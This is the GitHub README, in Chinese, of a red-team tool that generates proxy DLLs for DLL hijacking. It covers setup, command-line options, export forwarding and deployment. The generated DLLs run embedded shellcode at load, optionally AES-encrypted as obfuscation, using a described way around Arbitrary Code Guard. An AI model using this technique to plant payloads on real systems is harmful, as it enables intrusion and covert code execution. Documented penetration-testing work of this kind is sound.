maskop9/proxydllgenerator
GitHub: maskop9/proxydllgenerator
一款自动化生成代理 DLL 以实现 DLL 劫持并执行自定义 shellcode 的安全测试工具。
Stars: 23 | Forks: 10
# proxydllgenerator
一款用于自动化构建代理 DLL 以进行 DLL 劫持的 Python 工具。
给定一个 DLL 和原始的 shellcode payload,它会生成一个替代 DLL,该 DLL 会:
- **转发**所有命名的导出函数到真实的 DLL,通过运行时 `LoadLibrary` 加汇编 JMP stub 实现——无需重命名原始 DLL。
- **执行** shellcode,在 `DLL_PROCESS_ATTACH` 时从 `DllMain` 中生成一个专门的线程来运行。
- **可选加密**嵌入的 shellcode,使用 AES-CBC 加密,并在运行时使用 Windows BCrypt API 进行解密。
编译由 **MinGW-w64** 交叉编译器执行,因此该工具可以在 Linux、macOS 和 Windows 上运行,而不受主机架构的限制。
## 前置条件
### Python 3.9+
```
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
```
| Package | Purpose |
|---------|---------|
| `pefile >= 2023.2.7` | 解析 PE 导出目录 |
| `pycryptodome >= 3.18.0` | AES-CBC shellcode 加密(仅在使用 `--encrypt` 或 `--aes-key` 时需要) |
### MinGW-w64 交叉编译器
| Target | Binary required |
|--------|----------------|
| AMD x64 | `x86_64-w64-mingw32-gcc` |
| AMD x86 | `i686-w64-mingw32-gcc` |
**Ubuntu / Debian**
```
sudo apt-get install mingw-w64
```
**Fedora / RHEL**
```
sudo dnf install mingw64-gcc mingw32-gcc
```
**Arch Linux**
```
sudo pacman -S mingw-w64-gcc
```
**macOS**
```
brew install mingw-w64
```
**Windows (MSYS2)**
```
pacman -S mingw-w64-x86_64-gcc mingw-w64-i686-gcc
```
将 `C:\msys64\mingw64\bin` 和 `C:\msys64\mingw32\bin` 添加到 `PATH` 中。
## 安装说明
```
git clone https://github.com/maskop9/proxydllgenerator
cd proxydllgenerator
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
```
## 用法
首先激活 venv,然后运行:
```
source .venv/bin/activate # Windows: .venv\Scripts\activate
python proxydll.py -dll -shellcode [options]
```
### 必需项
| Argument | Description |
|----------|-------------|
| `-dll ` | 要代理的 DLL 路径(用于解析导出) |
| `-shellcode ` | 原始二进制 shellcode 文件的路径(明文或预加密) |
### 可选项
| Argument | Default | Description |
|----------|---------|-------------|
| `-arch x64\|x86\|all` | `all` | 目标架构 |
| `-o / --output ` | 与输入 DLL 相同 | 输出文件名(无扩展名) |
| `--output-dir ` | `./output` | 编译后 DLL 的根目录 |
| `--keep-sources` | off | 保留生成的 `dllmain.c`、`stubs.s`、`proxy.def` |
| `-v / --verbose` | off | 打印编译器命令和诊断信息 |
### AES 加密
| Argument | Description |
|----------|-------------|
| `--encrypt` | 使用随机生成的 AES-256-CBC 密钥和 IV 加密 shellcode |
| `--aes-bits 128\|192\|256` | 使用 `--encrypt` 时的密钥大小(默认:`256`) |
| `--aes-key ` | 用于**预加密** shellcode 文件的十六进制编码密钥(必须与 `--aes-iv` 配合使用) |
| `--aes-iv ` | 用于**预加密** shellcode 文件的十六进制编码 IV(必须与 `--aes-key` 配合使用) |
`--encrypt` 和 `--aes-key` / `--aes-iv` 是互斥的——请选择其中一种模式使用。
当使用 `--encrypt` 时,该工具会将生成的密钥和 IV 打印到标准输出:
```
[+] Key (hex) : 3f8a1b...
[+] IV (hex) : c72d09...
```
## 示例
```
# 两种架构,无加密(默认)
python proxydll.py -dll secur32.dll -shellcode payload.bin
# 使用随机 AES-256 key 自动加密
python proxydll.py -dll secur32.dll -shellcode payload.bin --encrypt
# 使用 AES-128 自动加密
python proxydll.py -dll secur32.dll -shellcode payload.bin --encrypt --aes-bits 128
# Shellcode 已使用 AES-256-CBC 加密 — 以十六进制格式提供 key 和 IV
python proxydll.py -dll secur32.dll -shellcode payload.enc \
--aes-key <64-hex-chars> --aes-iv <32-hex-chars>
# 仅限 x64,自定义输出名称
python proxydll.py -dll secur32.dll -shellcode payload.bin -arch x64 -o secur32
# 检查生成的源代码
python proxydll.py -dll version.dll -shellcode shell.bin --keep-sources -v
```
## 输出结构
```
output/
└── AMD/
├── x64/
│ └── .dll
└── x86/
└── .dll
```
使用 `--keep-sources` 时:
```
output/_sources/
├── x64/
│ ├── dllmain.c
│ ├── stubs.s
│ └── proxy.def
└── x86/
└── ...
```
## 工作原理
### 导出转发
对于每一个命名的导出,`DllMain` 会使用其完整路径从 `System32` 加载真实的 DLL:
```
char path[MAX_PATH];
GetSystemDirectoryA(path, MAX_PATH);
lstrcatA(path, "\\secur32.dll");
HMODULE orig = LoadLibraryA(path);
```
使用完整的 `System32` 路径可以避免在代理 DLL 位于更高优先级的搜索目录时,意外地加载代理本身。
每个导出都通过生成的汇编 JMP stub 进行转发:
```
AcceptSecurityContext:
jmpq *proxy_fns+0(%rip) ; x64
```
`proxy_fns[]` 数组在加载时会填充 `GetProcAddress` 获取的指针。所有的参数、寄存器和返回值都会原封不动地通过。
### Shellcode 执行
在加载时,代理 DLL 会生成一个线程来执行以下操作:
1. **解密 shellcode**(如果使用了加密),通过 Windows BCrypt API 进行。
2. 尝试 `NtCreateSection` / `NtMapViewOfSection` —— 由 section 支持的可执行内存可以绕过 `ProcessDynamicCodePolicy`(ACG / Arbitrary Code Guard)。
3. 对于没有 ACG 的目标,则回退使用 `VirtualAlloc(PAGE_EXECUTE_READWRITE)`。
当启用 AES 加密时,shellcode 字节将以密文形式存储在 `.rdata` 中。AES 密钥和 IV 也被嵌入在二进制文件中。在运行时,BCrypt 将其解密到堆缓冲区中,将其复制到可执行内存中,然后立即使用 `SecureZeroMemory` 将堆上的副本清零——从而最大限度地减少密钥材料的暴露。
### AES-CBC 解密(仅限加密构建)
生成的 C 代码使用了 Windows 的 **BCrypt** API(目标机器上不需要第三方 DLL):
```
BCryptOpenAlgorithmProvider → BCRYPT_AES_ALGORITHM
BCryptSetProperty → BCRYPT_CHAIN_MODE_CBC
BCryptGenerateSymmetricKey → key bytes embedded in .rdata
BCryptDecrypt → BCRYPT_BLOCK_PADDING (removes PKCS7 padding)
```
当启用加密时,`-lbcrypt` 会自动添加到链接器命令中。
### 仅有 ordinal 的导出
没有名称的导出将被跳过并发出警告。大多数 Windows 系统 DLL 都是通过名称导出所有内容的。
## 部署
1. 将生成的代理 DLL 放入一个会在 System32 **之前**被搜索的目录中——通常是目标应用程序自己的文件夹。
2. 代理 DLL 会在运行时直接从 `System32` 加载真实的 DLL。
```
python proxydll.py -dll secur32.dll -shellcode payload.bin --encrypt
# → output/AMD/x64/secur32.dll
# → output/AMD/x86/secur32.dll
```
## 限制
- **仅限系统 DLL** —— `System32` 回退机制仅对存在于该目录中的 DLL 有效。对于不在 `System32` 中的应用程序捆绑 DLL,请将代理与目标放在一起,并确保搜索顺序将其放在首位。
- **不支持 ARM** —— 需要 `llvm-mingw`。如果需要,请在 `src/compiler.py` 中添加 ARM `ArchConfig` 条目。
- **仅有 ordinal 的导出会被跳过** —— 见上文。
- **Shellcode 必须是位置无关代码 (PIC)** —— 内存是在随机基地址分配的。
- **AES 密钥嵌入在二进制文件中** —— 密钥和 IV 存在于编译后 DLL 的 `.rdata` 节中。这是一个混淆层,而不是针对能够读取该 DLL 的人的加密保护。
## 延伸阅读
- [Phantom DLL 劫持](https://samipp.com.np/posts/phantom-dll-hijacking/) —— 该技术的完整演练、OneDrive 实验环境、此工具自动化的手动代理 DLL 流程,以及检测/防御视角。
## 法律声明
本工具仅供授权的安全测试、渗透测试活动、红蓝对抗演练和教育目的使用。在您不拥有或未获得明确书面许可进行测试的系统上使用是违法的。作者对任何滥用行为不承担责任。
标签:Dionaea, DLL劫持, MinGW, Shellcode执行, 自动回退, 逆向工具